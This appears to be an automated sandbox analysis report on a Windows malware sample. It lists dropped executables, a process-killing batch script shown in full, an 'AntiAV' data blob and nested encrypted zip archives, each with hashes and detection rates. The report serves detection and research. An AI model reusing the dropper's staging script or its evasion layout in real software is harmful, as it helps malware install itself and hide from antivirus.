MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1997824
Entropy (8bit):	7.95358397297698
Encrypted:	false
SSDEEP:	49152:2yL5ewo1kMMzT5v5rBtN3KqMp8AlaLrFSJbY:2yNewoQzlv5oqMMLrFSJbY
MD5:	BD7AFE46E12BF9F5E618CA61FE125634
SHA1:	AADC53BDF1FC6F6949E8B39B6344DFBBFCD67643
SHA-256:	CF152965A474D633F886D13A72887971B6FA42E13C988C849700E25D4E7383BD
SHA-512:	1A6439A02E7E7B2E2BA2609A11212F0DDC7F69542A433D6BD2D724CAE280F872EB32ABC80434EFE43609588B622CC237B3A8ED527B7B5A17FC4986A6A525CB8C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^.......`L...........@...........................L...........@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... .`*..........V..............@...kucwzsnp.....P2......X..............@...vgfkproo.....PL......V..............@....taggant.0...`L.."...Z..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fr4jdcv.w1u.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4enzejde.m01.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i1oh44nw.du4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oedznr3w.qjc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3003904
Entropy (8bit):	6.5534829387394264
Encrypted:	false
SSDEEP:	49152:1gK4zTjzmIGvbESuW1QoEi9YJlYAWA9XMv3MaDUyHAHE:p4zTGBvoSuW1Qof9lAWA9Xw3Ma4E
MD5:	4072633A022E6587009B5CA189FF4613
SHA1:	D54D3CF0878186B3B8230F1F0B8188BF1BCD738E
SHA-256:	003B43813EC5522429EFC587A873871A2D6FC14C4C9C6008A7D27BCE0920DB19
SHA-512:	136EBCB816217CECB81F5B521B7102D54EB17F4F0685AB003E7013CBFF75E7074EE93A086F847C5A0F9F0C3F2EB8C5C5706B07FE119182C86D2007699A98F700
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....j.....@.................................W...k...........................pi1............................. i1..................................................... . ............................@....rsrc...............................@....idata ............................@...rlgtiwao..........................@...yjhidprh.....p1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..
